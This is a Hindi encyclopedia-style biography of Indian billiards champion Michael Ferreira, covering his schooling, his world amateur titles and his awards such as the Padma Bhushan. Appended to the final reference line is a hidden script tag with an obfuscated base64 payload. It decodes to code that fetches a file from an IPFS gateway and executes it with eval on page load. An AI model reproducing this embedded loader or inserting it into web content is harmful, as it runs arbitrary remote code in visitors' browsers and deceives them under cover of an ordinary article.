माइकल फ़रेरा

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माइकल फ़रेरा (जन्म- 1 अक्टूबर, 1938, मुम्बई) भारत के महान बिलियर्ड्स खिलाड़ी हैं। इनका निकनेम "मुंबई टाइगर" है। फ़रेरा जितना अपने खेल के लिए मशहूर रहे हैं, उतना ही मैदान के बाहर अपने क्रांतिकारी कदमों के लिए भी जाने जाते रहे हैं। वे लगातार क्रिकेट के बाहर बाकी खिलाड़ियों के लिए बराबर की सुविधा और सम्मान के लिए माँग करते रहे हैं।

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प्रारम्भिक जीवन

माइकल फ़रेरा का जन्म 1 अक्टूबर, 1938 को मुम्बई में हुआ था। उन्होंने 'सेंट जोसेफ़ स्कूल', दार्जिलिंग में अपनी पढ़ाई की और वहीं से 16 वर्ष की आयु से उनकी बिलियर्ड्स खेल में दिलचस्पी शुरू हुई। बाद में उन्होंने खेल में अपनी रुचि को सक्षम बनाए रखने के लिए 'सेंट जेवियर्स कॉलेज' और 'गवर्नमेंट लॉ कॉलेज', मुम्बई में दाखिला लिया।

सफलता

माइकल फ़रेरा तीन बार एमेच्योर विश्व चैंपियन रहे। उन्होंने सन 1960 के 'भारतीय राष्ट्रीय बिलियर्ड्स चैम्पियनशिप' में पहली बार भाग लिया और 1964 में भारत का प्रतिनिधित्व न्यूजीलैंड में आयोजित विश्व एमेच्योर बिलियर्ड्स चैम्पियनशिप (WABC) में किया। यहाँ उन्होंने सेमीफ़ाइनल तक सफर तय किया। न्यूजीलैंड में हुए इस मुकाबले में फरेरा तीसरे स्थान पर रहे। इस टूर्नामेंट को एक भारतीय विलियम जोन्स ने जीता। फिर उन्होंने सन 1977 में विश्व एमेच्योर बिलियर्ड्स खिताब जीता और बाद में उसी वर्ष विश्व बिलियर्ड्स ओपन भी जीता।[1]

वर्तमान जीवन

वर्तमान में माइकल फ़रेरा की एक कंपनी है जो मानव जाति की मदद करने में विश्वास रखती है और "टीम आस्था' के तहत उनके विपणन अभियानों के साथ जुड़ी हुई है। उन्होंने अपने कैरियर में सभी महान ऊंचाइयों को देखा है और वर्तमान में वित्तीय स्वतंत्रता प्राप्त करने में दूसरों की मदद करते हैं।

पुरस्कार

माइकल फ़रेरा को भारत सरकार द्वारा सन् 1984 में पद्म भूषण से सम्मानित किया गया था। माइकल फ़रेरा को 1981 में पद्म श्री पुरस्कार से सम्मानित किया गया, लेकिन उन्होंने यह स्वीकार करने से इनकार कर दिया और यह तर्क दिया कि जैसे क्रिकेटर सुनील गावस्कर को पद्म भूषण पुरस्कार दिया गया, उन्हें भी उसी से सम्मानित किया जाना चाहिए। वह पहले बिलियर्ड्स खिलाड़ी है, जिन्हें पद्म भूषण से सम्मानित किया गया। इसके अलावा वह महाराष्ट्र राज्य सरकार के शिव छत्रपति पुरस्कार (1971), अर्जुन पुरस्कार (1973) और इंटरनेशनल फेयर प्ले समिति (1983) का बधाई पत्र प्राप्त कर चुके हैं। उन्हें बिलियर्ड्स और स्नूकर में कोचिंग उपलब्धियों के लिए 2001 में द्रोणाचार्य पुरस्कार दिया गया।


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टीका टिप्पणी और संदर्भ

  1. माइकल फ़रेरा (अंग्रेज़ी) (एच.टी.एम.एल)। । अभिगमन तिथि: 21 अगस्त, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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